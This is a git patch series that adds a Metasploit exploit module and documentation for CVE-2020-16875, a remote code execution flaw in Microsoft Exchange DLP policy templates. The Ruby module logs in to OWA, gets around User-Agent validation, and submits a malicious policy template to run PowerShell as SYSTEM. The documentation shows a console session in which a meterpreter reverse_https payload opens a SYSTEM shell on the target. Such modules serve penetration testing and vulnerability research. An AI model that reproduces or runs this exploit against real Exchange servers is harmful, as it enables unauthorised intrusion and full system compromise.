From e118ff1509ba100294d22f7a90712881a36ba2e4 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 15 Sep 2020 13:40:06 -0500 Subject: [PATCH 1/6] Add Microsoft Exchange Server DLP Policy RCE CVE-2020-16875 --- .../windows/http/exchange_ecp_dlp_policy.md | 117 +++++++++ .../windows/http/exchange_ecp_dlp_policy.rb | 245 ++++++++++++++++++ 2 files changed, 362 insertions(+) create mode 100644 documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md create mode 100644 modules/exploits/windows/http/exchange_ecp_dlp_policy.rb diff --git a/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md b/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md new file mode 100644 index 000000000000..3b8da0340744 --- /dev/null +++ b/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md @@ -0,0 +1,117 @@ +## Vulnerable Application + +### Description + +This vulnerability allows remote attackers to execute arbitrary code +on affected installations of Exchange Server. Authentication is +required to exploit this vulnerability. Additionally, the target user +must have the `Data Loss Prevention` role assigned and an active +mailbox. + +The specific flaw exists within the processing of the `New-DlpPolicy` +cmdlet. The issue results from the lack of proper validation of +user-supplied template data when creating a DLP policy. An attacker +can leverage this vulnerability to execute code in the context of +`SYSTEM`. + +Tested against Exchange Server 2016 CU14 on Windows Server 2016. + +### Setup + +Set up a [vulnerable target](#targets). + +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + +## Targets + +### 0 + +`Exchange Server 2016 and 2019 w/o KB4577352` + +## Options + +### USERNAME + +Set this to the OWA username. + +### PASSWORD + +Set this to the OWA password. + +## Scenarios + +### Exchange Server 2016 CU14 on Windows Server 2016 + +``` +msf6 > use exploit/windows/http/exchange_ecp_dlp_policy +[*] Using configured payload windows/x64/meterpreter/reverse_https +msf6 exploit(windows/http/exchange_ecp_dlp_policy) > options + +Module options (exploit/windows/http/exchange_ecp_dlp_policy): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD no OWA password + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Base path + USERNAME no OWA username + VHOST no HTTP server virtual host + + +Payload options (windows/x64/meterpreter/reverse_https): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST yes The local listener hostname + LPORT 8443 yes The local listener port + LURI no The HTTP Path + + +Exploit target: + + Id Name + -- ---- + 0 Exchange Server 2016 and 2019 w/o KB4577352 + + +msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set rhosts 192.168.123.192 +rhosts => 192.168.123.192 +msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set username Administrator +username => Administrator +msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set password Passw0rd! +password => Passw0rd! +msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run + +[*] Started HTTPS reverse handler on https://192.168.123.1:8443 +[*] Executing automatic check (disable AutoCheck to override) +[!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/ +[*] Logging in to OWA with creds Administrator:Passw0rd! +[+] Successfully logged in to OWA +[*] Retrieving ViewState from DLP policy creation page +[+] Successfully retrieved ViewState +[*] Creating custom DLP policy from malicious template +[*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data +[*] Powershell command length: 2372 +[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ... +[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-365Q2VJJS17 +OS : Windows 2016+ (10.0 Build 14393). +Architecture : x64 +System Language : en_US +Domain : GIBSON +Logged On Users : 8 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb new file mode 100644 index 000000000000..479712f40009 --- /dev/null +++ b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb @@ -0,0 +1,245 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE', + 'Description' => %q{ + This vulnerability allows remote attackers to execute arbitrary code + on affected installations of Exchange Server. Authentication is + required to exploit this vulnerability. Additionally, the target user + must have the "Data Loss Prevention" role assigned and an active + mailbox. + + The specific flaw exists within the processing of the New-DlpPolicy + cmdlet. The issue results from the lack of proper validation of + user-supplied template data when creating a DLP policy. An attacker + can leverage this vulnerability to execute code in the context of + SYSTEM. + + Tested against Exchange Server 2016 CU14 on Windows Server 2016. + }, + 'Author' => [ + 'mr_me', # Discovery, exploits, and most of the words above + 'wvu' # Module + ], + 'References' => [ + ['CVE', '2020-16875'], + ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'], + ['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'], + ['URL', 'https://srcincite.io/advisories/src-2020-0019/'], + ['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'], + ['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt'] + ], + 'DisclosureDate' => '2020-09-08', # Public disclosure + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + ['Exchange Server 2016 and 2019 w/o KB4577352', {}] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true, + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https', + 'HttpClientTimeout' => 5, + 'WfsDelay' => 10 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ + IOC_IN_LOGS, + ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session + CONFIG_CHANGES, # Creates a new DLP policy + ARTIFACTS_ON_DISK # Uses a DLP policy template file + ] + } + ) + ) + + register_options([ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'Base path', '/']), + OptString.new('USERNAME', [false, 'OWA username']), + OptString.new('PASSWORD', [false, 'OWA password']) + ]) + end + + def post_auth? + true + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx') + ) + + unless res + return CheckCode::Unknown('Target did not respond to check.') + end + + unless res.code == 200 && res.body.include?('Outlook') + return CheckCode::Unknown('Target does not appear to be running OWA.') + end + + CheckCode::Detected("OWA is running at #{full_uri('/owa/')}") + end + + def exploit + owa_login + create_dlp_policy(retrieve_viewstate) + end + + def owa_login + unless username && password + fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation') + end + + print_status("Logging in to OWA with creds #{username}:#{password}") + + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'), + 'vars_post' => { + 'username' => username, + 'password' => password, + 'flags' => '', + 'destination' => full_uri('/owa/', vhost_uri: true) + }, + 'keep_cookies' => true + }, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth + + unless res + fail_with(Failure::Unreachable, 'Failed to access OWA login page') + end + + unless res.code == 200 && cookie_jar.grep(/^cadata/).any? + if res.body.include?('There are too many active sessions connected to this mailbox.') + fail_with(Failure::NoAccess, 'Reached active session limit for mailbox') + end + + fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds') + end + + if res.body.include?('Choose your preferred display language and home time zone below.') + fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured') + end + + print_good('Successfully logged in to OWA') + end + + def retrieve_viewstate + print_status('Retrieving ViewState from DLP policy creation page') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), + 'agent' => '', # HACK: Bypass Exchange's User-Agent validation + 'keep_cookies' => true + ) + + unless res + fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page') + end + + unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState') + end + + print_good('Successfully retrieved ViewState') + viewstate + end + + def create_dlp_policy(viewstate) + print_status('Creating custom DLP policy from malicious template') + vprint_status("DLP policy name: #{dlp_policy_name}") + + form_data = Rex::MIME::Message.new + form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"') + form_data.add_part( + 'ResultPanePlaceHolder_ButtonsPanel_btnNext', + nil, + nil, + 'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"' + ) + form_data.add_part( + dlp_policy_name, + nil, + nil, + 'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"' + ) + form_data.add_part( + dlp_policy_template, + 'text/xml', + nil, + %(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}") + ) + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), + 'agent' => '', # HACK: Bypass Exchange's User-Agent validation + 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", + 'data' => form_data.to_s + }, 0) + end + + def dlp_policy_template + # https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help + <<~XML + + + + 4 + Metasploit + + #{dlp_policy_name} + + + wvu was here + + + + + + + + + + + + XML + end + + def dlp_policy_name + @dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data" + end + + def dlp_policy_filename + @dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml" + end + +end From 03e0b9098c2856329f093703a457a471c7db009c Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 16 Sep 2020 12:45:39 -0500 Subject: [PATCH 2/6] Add more words about Exchange role groups --- .../modules/exploit/windows/http/exchange_ecp_dlp_policy.md | 6 ++++++ modules/exploits/windows/http/exchange_ecp_dlp_policy.rb | 6 ++++++ 2 files changed, 12 insertions(+) diff --git a/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md b/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md index 3b8da0340744..95376dbe32a1 100644 --- a/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md +++ b/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md @@ -8,6 +8,12 @@ required to exploit this vulnerability. Additionally, the target user must have the `Data Loss Prevention` role assigned and an active mailbox. +If the user is in the `Compliance Management` or greater `Organization +Management` role groups, then they have the `Data Loss Prevention` +role. Since the user who installed Exchange is in the `Organization +Management` role group, they transitively have the `Data Loss +Prevention` role. + The specific flaw exists within the processing of the `New-DlpPolicy` cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker diff --git a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb index 479712f40009..d736cad149a1 100644 --- a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb +++ b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb @@ -23,6 +23,12 @@ def initialize(info = {}) must have the "Data Loss Prevention" role assigned and an active mailbox. + If the user is in the "Compliance Management" or greater "Organization + Management" role groups, then they have the "Data Loss Prevention" + role. Since the user who installed Exchange is in the "Organization + Management" role group, they transitively have the "Data Loss + Prevention" role. + The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker From 0ec97aa4479c68c90f8edc8ed2fac7d7f118d1b5 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 16 Sep 2020 12:59:17 -0500 Subject: [PATCH 3/6] Make User-Agent consistent across requests --- modules/exploits/windows/http/exchange_ecp_dlp_policy.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb index d736cad149a1..82ba036502a2 100644 --- a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb +++ b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb @@ -61,6 +61,7 @@ def initialize(info = {}) 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https', + 'HttpUserAgent' => '', # HACK: Bypass Exchange's User-Agent validation 'HttpClientTimeout' => 5, 'WfsDelay' => 10 }, @@ -163,7 +164,6 @@ def retrieve_viewstate res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), - 'agent' => '', # HACK: Bypass Exchange's User-Agent validation 'keep_cookies' => true ) @@ -207,7 +207,6 @@ def create_dlp_policy(viewstate) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), - 'agent' => '', # HACK: Bypass Exchange's User-Agent validation 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s }, 0) From 3c8390a1c7d579951118e0d353e954fb676418a4 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 16 Sep 2020 13:03:55 -0500 Subject: [PATCH 4/6] Fix HttpUserAgent to UserAgent Payload vs. HttpClient. Whoops. --- modules/exploits/windows/http/exchange_ecp_dlp_policy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb index 82ba036502a2..f09064ea0137 100644 --- a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb +++ b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb @@ -61,7 +61,7 @@ def initialize(info = {}) 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https', - 'HttpUserAgent' => '', # HACK: Bypass Exchange's User-Agent validation + 'UserAgent' => '', # HACK: Bypass Exchange's User-Agent validation 'HttpClientTimeout' => 5, 'WfsDelay' => 10 }, From da4e960eb08c85807be75beb1aa5fa9bd62c6e56 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 16 Sep 2020 13:24:14 -0500 Subject: [PATCH 5/6] Revert "Fix HttpUserAgent to UserAgent" This reverts commit 3c8390a1c7d579951118e0d353e954fb676418a4. --- modules/exploits/windows/http/exchange_ecp_dlp_policy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb index f09064ea0137..82ba036502a2 100644 --- a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb +++ b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb @@ -61,7 +61,7 @@ def initialize(info = {}) 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https', - 'UserAgent' => '', # HACK: Bypass Exchange's User-Agent validation + 'HttpUserAgent' => '', # HACK: Bypass Exchange's User-Agent validation 'HttpClientTimeout' => 5, 'WfsDelay' => 10 }, From 5bda3b4b9d1e598121355b8502b2e8eb0ba91094 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 16 Sep 2020 13:24:18 -0500 Subject: [PATCH 6/6] Revert "Make User-Agent consistent across requests" This reverts commit 0ec97aa4479c68c90f8edc8ed2fac7d7f118d1b5. --- modules/exploits/windows/http/exchange_ecp_dlp_policy.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb index 82ba036502a2..d736cad149a1 100644 --- a/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb +++ b/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb @@ -61,7 +61,6 @@ def initialize(info = {}) 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https', - 'HttpUserAgent' => '', # HACK: Bypass Exchange's User-Agent validation 'HttpClientTimeout' => 5, 'WfsDelay' => 10 }, @@ -164,6 +163,7 @@ def retrieve_viewstate res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), + 'agent' => '', # HACK: Bypass Exchange's User-Agent validation 'keep_cookies' => true ) @@ -207,6 +207,7 @@ def create_dlp_policy(viewstate) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), + 'agent' => '', # HACK: Bypass Exchange's User-Agent validation 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s }, 0)